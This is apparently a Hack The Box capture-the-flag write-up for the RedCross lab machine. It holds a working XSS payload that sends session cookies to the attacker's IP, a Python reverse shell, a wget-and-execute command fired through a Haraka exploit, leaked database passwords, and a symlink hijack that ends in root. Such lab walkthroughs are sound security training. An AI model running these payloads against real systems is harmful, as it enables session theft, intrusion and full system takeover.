Hack The Box: RedCross
Info
Name: RedCross
IP Address: 10.10.10.113
Operating System: Linux
Difficulty: 6.3/10
Base Points: 30
Enumeration
As always we start with a nmap scan to determine which ports are open and what services we're up against.
nmap -sC -sV 10.10.10.113
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-13 00:04 CEST
Nmap scan report for 10.10.10.113
Host is up (0.030s latency).
Not shown: 997 filtered ports
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
| ssh-hostkey:
| 2048 67:d3:85:f8:ee:b8:06:23:59:d7:75:8e:a2:37:d0:a6 (RSA)
| 256 89:b4:65:27:1f:93:72:1a:bc:e3:22:70:90:db:35:96 (ECDSA)
|_ 256 66:bd:a1:1c:32:74:32:e2:e6:64:e8:a5:25:1b:4d:67 (ED25519)
80/tcp open http Apache httpd 2.4.25
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to https://intra.redcross.htb/
443/tcp open ssl/http Apache httpd 2.4.25
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to https://intra.redcross.htb/
| ssl-cert: Subject: commonName=intra.redcross.htb/organizationName=Red Cross International/stateOrProvinceName=NY/countryName=US
| Not valid before: 2018-06-03T19:46:58
|_Not valid after: 2021-02-27T19:46:58
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| http/1.1
| http/1.1
| http/1.1
| http/1.1
| http/1.1
| http/1.1
| http/1.1
| http/1.1
| http/1.1
Service Info: Host: redcross.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have three ports open: 22, 80 and 443. We also notice that nmap failed to follow a redirect to intra.redcross.htb
and that the host is known as redcross.htb
, so before we proceed, let's edit /etc/hosts
.
10.10.10.113 redcross.htb
10.10.10.113 intra.redcross.htb
After this is done we can browse to redcross.htb
.

We can now use openssl
to see if we find some useful information.
root@kali:~# openssl s_client -connect redcross.htb:443
CONNECTED(00000003)
depth=0 C = US, ST = NY, L = New York, O = Red Cross International, OU = IT, CN = intra.redcross.htb, emailAddress = penelope@redcross.htb
verify error:num=18:self signed certificate
verify return:1
depth=0 C = US, ST = NY, L = New York, O = Red Cross International, OU = IT, CN = intra.redcross.htb, emailAddress = penelope@redcross.htb
verify return:1
---
Certificate chain
0 s:C = US, ST = NY, L = New York, O = Red Cross International, OU = IT, CN = intra.redcross.htb, emailAddress = penelope@redcross.htb
i:C = US, ST = NY, L = New York, O = Red Cross International, OU = IT, CN = intra.redcross.htb, emailAddress = penelope@redcross.htb
We have a mail address, and potentially a username (penelope), in the SSL certificate. Awesome! Let's continue.
Looking at the web page again we see a contact form. We could potentially be able to exploit it.
At this point I tried several different method before I found one that worked.
By setting up a web server with python -m SimpleHTTPServer 80
and adding some specially crafted javascript in the "contact phone or email" input we are able to hijack a session.
Javascript
<script>new Image().src="http://10.10.14.11/"+document.cookie;</script>
Explanation: When someone opens our contact request, the web page tries to include our "image".
The client will basically try and include the image from my machine and also send me the cookie for that specific page.
So the request will look like this: http://attacker-ip/SESSION
.
Our listener
root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.113 - - [13/Apr/2019 00:47:30] code 404, message File not found
10.10.10.113 - - [13/Apr/2019 00:47:30] "GET /PHPSESSID=6fl7e04qort3fud7qvamum1l71;%20LANG=EN_US;%20SINCE=1555109249;%20LIMIT=10;%20DOMAIN=admin HTTP/1.1" 404 -
Sweet, it worked!
Someone "viewed" contact request and our XSS payload and we were able to hijack their session: PHPSESSID=6fl7e04qort3fud7qvamum1l71
.
We can now "add" that session to our web requests and basically impersonate that user.
Initial Foothold
Let's log in and find out who the session belongs to.
For this I use Burp Suite
and match and replace on the Request Header.

Refreshing the web site gives us the following response:

We have successfully logged in as admin
!
Looking through the messages this one stands out:
Please could you check the admin webpanel? idk what happens but when I'm checking the messages, alerts popping everywhere!!
Maybe a virus?
So there's an admin webpanel as well? Let's add admin.redcross.htb
to /etc/hosts
and see if we can access it.

Checking out "Network Access" we see the following:

After poking around a bit we find a command injection
vulnerability in the Deny functionality.

Using a python reverse shell we are able to get an initial foothold.

root@kali:~# nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.12.135] from (UNKNOWN) [10.10.10.113] 36050
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;hostname
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
redcross
Trying to cat user.txt
gives us a permission denied since the flag is owned by penelope
.
Looking for proccesses owned by penelope
we see the following:
www-data@redcross:/home/penelope$ ps aux | grep penelope
penelope 1384 0.0 4.4 994728 44960 ? Ssl 18:22 0:01 node /usr/bin/haraka -c /home/penelope/haraka
www-data 7964 0.0 0.0 11112 964 pts/1 S+ 19:30 0:00 grep penelope
And doing a searchsploit for haraka
reveals that there's and RCE vulnerability. Looking at the exploit we see that we need a port for the SMTP connection.
After a bit more enumeration I found that if I whitelist my IP address on the "Network Access" and do another nmap scan we get the following results:
root@kali:~# nmap 10.10.10.113
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-13 16:20 CEST
Nmap scan report for redcross.htb (10.10.10.113)
Host is up (0.030s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
443/tcp open https
1025/tcp open NFS-or-IIS
5432/tcp open postgresql
Nmap done: 1 IP address (1 host up) scanned in 1.97 seconds
So a slight modification of the exploit code from exploit-db makes us able to exploit Haraka. Basically just changing s = smtplib.SMTP(mailserver,25)
to s = smtplib.SMTP(mailserver,1025)
First we create a reverse shell which will be executed.
root@kali:~# cat python_rev_shell.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.12.135",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Now we setup two listeners on our machine.
- A web server so Haraka can download the python reverse shell.
- The listener we want penelope to connect back to.
Then we run the following command on Redcross.
python haraka_exploit.py -c "wget -O /dev/shm/r.py 10.10.12.135/python_rev_shell.py;/usr/bin/python /dev/shm/r.py" -t penelope@redcross.htb -m localhost
And voila! We have escalated to penelope
!

Finally we can cat user.txt
penelope@redcross:/home/penelope$ cat user.txt
ac899...329bf
Privilege Escalation
Going back to the admin page there's a function to add virtual users.

Adding a user gives us a random password.

We can ssh into the box with this user, but we are then jailed to /var/jail/home
.
After looking around in the /var/www
directory we find some usernames and passwords for a Postgresql
database.
Logging in to this database as user unixusrmgr
with password dheu%7wjx8B&
we find the table passwd_table
.
penelope@redcross:/var/www/html/admin/pages$ psql --host 127.0.0.01 --db unix --user unixusrmgr --password
Password for user unixusrmgr:
psql (9.6.7)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.
unix=> \dt
List of relations
Schema | Name | Type | Owner
--------+--------------+-------+----------
public | group_table | table | postgres
public | passwd_table | table | postgres
public | shadow_table | table | postgres
public | usergroups | table | postgres
(4 rows)
unix=> select * from passwd_table;
username | passwd | uid | gid | gecos | homedir | shell
----------+------------------------------------+------+------+-------+----------------+-----------
tricia | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 | | /var/jail/home | /bin/bash
charles | $1$63babaa1$OF.c/aAILCp3bGH6b7Gu// | 2020 | 0 | | / | /bin/bash
test | $1$aeTxzMBk$AJQrjed41NkwlOlpvcwkF/ | 2021 | 1001 | | /var/jail/home | /bin/bash
(3rows)
unix=>
So, what if we can change this table? And maybe change uid
, gid
and homedir
?
Turns out we can't change the uid
:
unix=> update passwd_table set uid=0 where username='test';
ERROR: permission denied for relation passwd_table
But we can change gid
and homedir
.
Intended root
If we add ourself to group 27 (sudo), we can probably sudo su
and get the root flag that way.
Let's try!
unix=> update passwd_table set gid=27, homedir='/' where username='test';
UPDATE 1
unix=> select * from passwd_table;
username | passwd | uid | gid | gecos | homedir | shell
----------+------------------------------------+------+------+-------+----------------+-----------
tricia | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 | | /var/jail/home | /bin/bash
test | $1$KKzT04Xu$k/M8/711vi2.q58VoUDLq0 | 2021 | 27 | | / | /bin/bash
(2 rows)
root@kali:~# ssh test@10.10.10.113
test@10.10.10.113's password:
Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
test@redcross:/$ id
uid=2024(test) gid=27(sudo) groups=27(sudo)
test@redcross:/$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for test:
Matching Defaults entries for test on redcross:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User test may run the following commands on redcross:
(ALL : ALL) ALL
test@redcross:/$ sudo su
root@redcross:/# cd /root
root@redcross:~# ls
bin Haraka-2.8.8 root.txt
root@redcross:~# cat root.txt
892a1...717a4
Unintended root
One of many unintended ways is to add ourself to the root group (GID 0), get access to /root
and find a directory called bin
. Then we need to analyze a python script and edit a symlink in order to get code execution as root.
After changing the GID for our user to 0, we get access to /root
.
Looking at this directory we find a file called redcrxss.py
.
#!/usr/bin/python2.7
import mysql.connector
import urllib
import random
import string
import time
import os
url="https://admin.redcross.htb/9a7d3e2c3ffb452b2e40784f77723938/573ba8e9bfd0abd3d69d8395db582a9e.php?"
def launchXSS(xss):
randomname=''.join(random.choice(string.ascii_uppercase+string.ascii_lowercase+string.digits) for _ in range(8))
temppath="/root/bin/tmp/"
fn=temppath+randomname+'.js'
phantom="/usr/local/bin/phantomjs"
phjs ='"use strict";\n'
phjs+="var page = require('webpage').create();\n"
phjs+="page.open('"+xss+"', function(status) {\n"
phjs+=' console.log("Status: " + status);\n'
phjs+=' if(status === "success") {\n'
phjs+=" page.render('/tmp/example.png');\n"
phjs+=" }\n"
phjs+=" phantom.exit();\n"
phjs+="});\n"
f=open(fn,'wb')
f.write(phjs)
f.close()
command=phantom+" --ignore-ssl-errors=true "+fn
print command
os.system(command)
os.remove(fn)
while 1:
cnx = mysql.connector.connect(user='dbcross', password='LOSPxnme4f5pH5wp', host='127.0.0.1', database='redcross')
cursor = cnx.cursor(dictionary=True)
query = ("SELECT id, subject, body, cback FROM requests")
cursor.execute(query)
res=cursor.fetchall()
if(len(res)>0):
for r in res:
rid=r['id']
xss=urllib.urlencode({'x':r['cback']})
query = ("DELETE FROM requests WHERE id = %s")
cursor.execute(query,(rid,))
cnx.commit()
payload=url+xss
launchXSS(payload)
cnx.close()
else:
print "Sleeping 10 secs..."
time.sleep(10)
Analyzing this file we see that this file is "emulating" the user clicking our XSS payload from earlier. Every 10 seconds the script connects to a database and try to fetch requests coming from the contact form.
If the script finds a request in the database it will give us a callback if our XSS is "correct".
But if we look closely we see that the script is executing /usr/local/bin/phantomjs
. But there's one big problem...
unintended-root@redcross:~/bin$ ls -la /usr/local/bin/phantomjs
lrwxrwxrwx 1 root staff 47 Jun 6 2018 /usr/local/bin/phantomjs -> /opt/phantomjs-2.1.1-linux-x86_64/bin/phantomjs
... The file is symlinked and the group staff
can edit the symlink.
So after discovering this we create a new user with GID 50 (staff) using the "Add virtual user" functionality from admin.redcross.htb
and create /tmp/give-shell.sh
containing our reverse shell and make this file executable.
Then we change the symlink to point to our file.
unintended-root@redcross:/$ ln -sfn /tmp/give-shell.sh /usr/local/bin/phantomjs
unintended-root@redcross:/$ ls -la /usr/local/bin/phantomjs
lrwxrwxrwx 1 intended-root staff 18 Apr 12 21:59 /usr/local/bin/phantomjs -> /tmp/give-shell.sh
All we need to do now is setup a listener on our machine, go back to the contact form, click "contact" and wait a couple of seconds.
root@kali:~# nc -lvnp 31337
listening on [any] 31337 ...
connect to [10.10.12.135] from (UNKNOWN) [10.10.10.113] 46952
/bin/sh: 0: can't access tty; job control turned off
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
892a1...717a4
Further Reading
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013)
https://baptiste-wicht.com/posts/2012/09/linux-symbolic-links-hard-links.html